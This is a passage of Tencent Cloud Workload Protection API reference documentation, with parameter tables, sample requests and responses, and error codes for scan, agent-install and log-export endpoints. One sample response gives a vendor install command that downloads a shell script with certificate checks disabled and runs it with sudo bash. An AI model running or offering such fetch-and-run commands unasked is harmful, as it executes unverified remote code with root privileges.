"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "http://download.url/test.csv"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeScanTaskDetails

Last updated：2024-12-06 15:40:27

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the scan task details and scan progress information/exceptions.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScanTaskDetails.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ModuleType	Yes	String	Module type. Malware (Trojan), Vul (vulnerability), and Baseline are currently available.
TaskId	Yes	Integer	Task ID
Filters.N	No	Array of Filters	Filter parameters
Limit	No	Integer	Number of items to be returned. The maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.

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3. Output Parameters

Parameter Name	Type	Description
ScanTaskDetailList	Array of ScanTaskDetails	List of scan task information
TotalCount	Integer	Total number
ScanMachineCount	Integer	Total number of scanned machines
RiskMachineCount	Integer	Number of machines with risks detected
ScanBeginTime	String	Scan start time
ScanEndTime	String	Scan end time
ScanTime	Integer	Scan time
ScanProgress	Integer	Scan progress
ScanLeftTime	Integer	Remaining scan time
ScanContent	Array of String	Scan content
VulInfo	Array of VulDetailInfo	Vulnerability information Note: This field may return null, indicating that no valid values can be obtained.
RiskEventCount	Integer	Number of risk events Note: This field may return null, indicating that no valid values can be obtained.
Type	Integer	0: one-click scan; 1: scheduled scan.Note: This field may return null, indicating that no valid values can be obtained.
StoppingAll	Boolean	Whether all tasks are being stopped. true: yes.Note: This field may return null, indicating that no valid values can be obtained.
VulCount	Integer	Number of vulnerabilities scanned Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeScanTaskDetails
<Common request parameters>

{
"ModuleType": "Vul",
"TaskId": 1
}
```

Output Example

```
{
"Response": {
"ScanContent": [
"cve"
],
"VulInfo": [
{
"CveId": "cve- ",
"CvssScore": 0,
"Name": "name",
"Reference": "ref",
"Level": 1,
"Fix": "fix",
"Descript": "desc",
"PublishTime": " 2019-12-25 11:57:15",
"VulId": 1,
"Cvss": "cvss",
"VulCategory": 1
}
],
"ScanMachineCount": 1,
"ScanTaskDetailList": [
{
"Status": "status",
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"ScanEndTime": " 2019-12-25 11:57:15",
```

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```
"FailType": 1,
"HostName": "hostname",
"ScanBeginTime": " 2019-12-25 11:57:15",
"OsName": "osname",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"HostIp": "10.1.1.15",
"RiskNum": 1,
"Id": 1,
"Description": "desc",
"MachineWanIp": "10.1.1.15",
"MachineExtraInfo": {
"WanIP": "10.1.1.15",
"PrivateIP": "10.1.1.15",
"NetworkType": 0,
"NetworkName": "name",
"InstanceID": "ins-dsf",
"HostName": "hostname"
}
}
],
"ScanEndTime": " 2019-12-25 11:57:15",
"ScanTime": 1,
"ScanProgress": 1,
"ScanLeftTime": 1,
"ScanBeginTime": " 2019-12-25 11:57:15",
"TotalCount": 1,
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"RiskEventCount": 1,
"VulCount": 1,
"RiskMachineCount": 1,
"Type": 1,
"StoppingAll": false
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeScanState

Last updated：2024-12-06 15:40:27

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the status of recent scan tasks of the corresponding module.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScanState.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ModuleType	Yes	String	Module type. Malware (Trojan), Vul (vulnerability), and Baseline are currently available.
Filters.N	No	Array of Filters	Filter parameters • StrategyId: Baseline policy ID, which is required only if ModuleType is set to Baseline

3. Output Parameters

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Parameter Name	Type	Description
ScanState	Integer	0 - never scanned; 1 - scan in progress; 2 - scan completed; 3 - stop in progress; 4 - stop completed
Schedule	Integer	Scan progress
TaskId	Integer	Task ID
VulId	Array of Integer	Vulnerability ID of task scan
Type	Integer	0 - one-click detection; 1 - regular detection
ScanBeginTime	String	Scan start time Note: This field may return null, indicating that no valid values can be obtained.
RiskEventCount	Integer	Number of vulnerabilities scanned Note: This field may return null, indicating that no valid values can be obtained.
ScanEndTime	String	Scan end time Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeScanState
<Common request parameters>

{
"ModuleType": "Vul"
}
```

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Output Example


```
{
"Response": {
"RiskEventCount": 1,
"ScanEndTime": "2023-10-26 14:56:29",
"Schedule": 1,
"ScanState": 1,
"ScanBeginTime": "2023-10-26 14:56:29",
"RequestId": "c741a4fd-776f-499b-85a2-7bc70fd5b92s",
"TaskId": 1,
"VulId": [
1
],
"Type": 1
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
AuthFailure	CAM signature/authentication error.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteScanTask

Last updated：2024-12-06 15:40:46

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to stop scan tasks of a specified type.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteScanTask.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	Task ID
ModuleType	Yes	String	Module type. Malware (Trojan), Vul (vulnerability), and Baseline are currently available.
QuuidList.N	No	Array of String	Effective for selected servers; a string array of host QUUIDs

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteScanTask
<Common request parameters>

{
"TaskId": 1,
"ModuleType": "Vul"
}
```

Output Example

```
{
"Response": {
"RequestId": "g54f4ac3-8546-4516-8c8a-69e3ab73aa80"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeScanTaskStatus

Last updated：2025-03-11 22:59:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of machine scan statuses for filtering.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScanTaskStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ModuleType	Yes	String	Module type: Malware (Trojan), Vul (vulnerability), and Baseline are currently available.

3. Output Parameters

Parameter Name	Type	Description

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State	TaskStatus	Task scan status list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeScanTaskStatus
<Common request parameters>

{
"ModuleType": "Malware"
}
```

Output Example

```
{
"Response": {
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"State": {
"Fail": "Scan failed",
"Ok": "Scan succeeded",
"Scanning": "Scanning",
"Stop": "Scan paused"
}
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ScanTaskAgain

Last updated：2024-12-06 15:40:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to restart the scan task. Specifying the machine is supported.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ScanTaskAgain.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ModuleType	Yes	String	Module type. Currently supported values: Malware: Trojan; Vul: vulnerability; Baseline: baseline.
TaskId	Yes	Integer	Task ID
QuuidList.N	No	Array of String	String array of host QUUIDs. This parameter is effective for selected servers.
TimeoutPeriod	No	Integer	Scan timeout

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Restarting Scanning Task

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ScanTaskAgain
<Common request parameters>

{
"TaskId": 1,
"ModuleType": "Vul"
}
```

Output Example

```
{
"Response": {
"RequestId": "007863e7-fce9-49c2-9561-16bc2a522620"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
FailedOperation.NoProfessionHost	No Pro Edition host.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.
ResourceNotFound.MachineNotFound	The scanning machine does not exist.

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DescribeAgentInstallCommand

Last updated：2024-12-06 15:40:43

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the agent installation command.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAgentInstallCommand.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
IsCloud	Yes	Boolean	Whether Tencent Cloud
NetType	Yes	String	Network type: basic - basic network; private - VPC; public - public network; direct - direct connect
RegionCode	No	String	Region identifier, required when NetType=direct
VpcId	No	String	VpcId, required when NetType=direct
TagIds.N	No	Array of Integer	Tag ID list, effective only when IsCloud=false

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ExpireDate	No	Date	Command validity period, required for non-Tencent Cloud instances
Vip	No	String	VIP Accessed via Proxy Mode

3. Output Parameters

Parameter Name	Type	Description
LinuxCommand	String	Linux installation command
WindowsCommand	String	Windows installation command (Windows 2008 or later)
WindowsStepOne	String	Step 1 of Window installation command (Windows 2003)
WindowsStepTwo	String	Step 2 of Window installation command (Windows 2003)
WindowsDownloadUrl	String	Download URL of the agent for Windows
ARMCommand	String	Arm installation command Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 DescribeAgentInstallCommand

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAgentInstallCommand
<Common request parameters>

{
"ExpireDate": "2020-09-22",
"RegionCode": "xx",
"VpcId": "xx",
"IsCloud": true,
```

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```
"NetType": "xx",
"TagIds": [
1
]
}
```

Output Example

```
{
"Response": {
"WindowsCommand": "ydeyes.exe",
"LinuxCommand": "ydeyes.exe",
"ARMCommand": "ydeyes.exe",
"WindowsDownloadUrl": "ydeyes.exe",
"RequestId": "1234-1234-1234",
"WindowsStepOne": "ydeyes.exe",
"WindowsStepTwo": "ydeyes.exe"
}
}
```

5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribePublicProxyInstallCommand

Last updated：2025-03-11 23:00:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the installation command of the public network access proxy.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribePublicProxyInstallCommand.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ip	No	String	List of Nginx host IP addresses, separated by commas

3. Output Parameters

Parameter Name	Type	Description
NginxCommand	String	Nginx Installation Command

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KeepAliveCommand	String	Keepalived Installation Command Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribePublicProxyInstallCommand
<common request parameters>

{
"Ip": "0.0.0.0"
}
```

Output Example

```
{
"Response": {
"KeepAliveCommand": " wget --no-check-certificate https://up.yd.qcloud.com/ydeye
s/download/install_proxy.sh -O install_proxy.sh && sudo bash install_proxy.sh",
"NginxCommand": "wget --no-check-certificate https://up.yd.qcloud.com/ydeyes/down
load/install_proxy.sh -O install_proxy.sh && sudo bash install_proxy.sh",
"RequestId": "5921b751-84f3-4332-a89f-fca2a139bd10"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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DescribeVersionCompareChart

Last updated：2024-12-06 15:40:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the version comparison information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVersionCompareChart.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Data	String	json string
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVersionCompareChart
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "bf93077b-51f5-4428-b9de-7e33a0b9cc4a",
"Data": "data-content"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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CreateBuyBindTask

Last updated：2024-12-06 15:40:47

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create an automatic binding task for newly purchased authorizations.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateBuyBindTask.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
DealName	Yes	String	Order Number
LicenseType	Yes	Integer	Optional parameters. 1: Pro Edition-monthly subscription; 2: Ultimate Edition-monthly subscription
QuuidList.N	No	Array of String	Machine list
IsAll	No	Boolean	Whether to select all machines

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateBuyBindTask
<Common request parameters>

{
"DealName": "Order number",
"IsAll": true,
"LicenseType": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "eac82ff0-b562-46fc-bbcf-a55cc62f8205"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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SyncMachines

Last updated：2024-12-06 15:40:01

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to sync the machine information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SyncMachines.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Sync	No	Boolean	Whether to synchronize

3. Output Parameters

Parameter Name	Type	Description
State	String	Enumeration values are (in uppercase): NOTASK (no synchronization task), SYNCING (synchronizing), and FINISHED (synchronization completed)

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LatestStartTime	String	Latest synchronization start time
LatestEndTime	String	Latest synchronization end time
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Syncing the Machine Information

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SyncMachines
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"LatestStartTime": "2020-11-11 12:01:00",
"LatestEndTime": "2020-11-11 12:02:00",
"State": "NOTASK",
"RequestId": "49082d4a-71b4-4e32-9ca1-b33872a4a63c"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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CheckLogKafkaConnectionState

Last updated：2024-12-06 15:40:48

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to check the connectivity for log shipping from Kafka.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CheckLogKafkaConnectionState.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
AccessType	Yes	Integer	Access method: 1 - public network domain name access; 2 - supported environment access
AccessAddr	Yes	String	Access address: domain name or IP, with port
Username	Yes	String	Username
HasPwd	Yes	Integer	0 - without password; 1 - with password
Pwd	Yes	String	Password, using AES encryption

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KafkaId	Yes	String	Kafka instance ID
InsVersion	Yes	String	Kafka version

3. Output Parameters

Parameter Name	Type	Description
IsConnect	Boolean	true: connected; false: not connected.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Checking the Log Shipping kafka Connectivity

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CheckLogKafkaConnectionState
<Common request parameters>

{
"AccessType": 1,
"AccessAddr": "192.168.1.1:80",
"Username": "xx",
"HasPwd": 1,
"Pwd": "xxxx",
"KafkaId": "ckafka-ce80kte5",
"InsVersion": "0.10.2.1"
}
```

Output Example

```
{
"Response": {
```

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```
"RequestId": "bf93077b-51f5-4428-b9de-7e33a0b9cc4a",
"IsConnect": true
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.

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CreateLogExport

Last updated：2024-12-06 15:40:47

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create log download tasks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateLogExport.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Count	Yes	Integer	Number of logs exported. The maximum value is 50 million.
StartTime	Yes	Integer	Start time of log export, with a timestamp in milliseconds
EndTime	Yes	Integer	End time of log export, with a timestamp in milliseconds
QueryString	No	String	Retrieval statements for log export, and [SQL statements] are not supported
Sort	No	String	Sorting for log export time. Valid values are asc and desc, and the default value is desc.

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Format	No	String	Data format for exported log. Valid values are json an csv, the default value is json.

3. Output Parameters

Parameter Name	Type	Description
ExportId	String	Task ID of exported logs
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateLogExport
<Common request parameters>

{
"Sort": "desc",
"Count": "500",
"Format": "json",
"QueryString": "*",
"StartTime": "1656640800000",
"EndTime": "1656641100000"
}
```

Output Example

```
{
"Response": {
"ExportId": "export-dd7e975d-2ea0-4c3b-aad9-767c4beaafd5",
"RequestId": "39715990-4996-447a-88c8-dc02034fb278"
```

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```
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DeleteLogExport

Last updated：2024-12-06 15:40:46

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete log download tasks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteLogExport.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ExportId	Yes	String	Task ID of exported logs

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteLogExport
<Common request parameters>

{
"ExportId": "export-dd7e975d-2ea0-4c3b-aad9-767c4beaafd5"
}
```

Output Example

```
{
"Response": {
"RequestId": "51ff0228-594d-431e-afcf-2d1cea5e3179"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeAESKey

Last updated：2024-12-06 15:40:44

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the configured aeskey and aesiv.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAESKey.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAESKey
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "1bac1539-f862-4777-b5bb-f27a0a89d7bb"
}
}
```

5. Developer Resources

SDK

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeAssetTypes

Last updated：2024-12-06 15:40:41

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the asset fingerprint type list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetTypes.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Types	Array of AssetType	Asset fingerprint type list

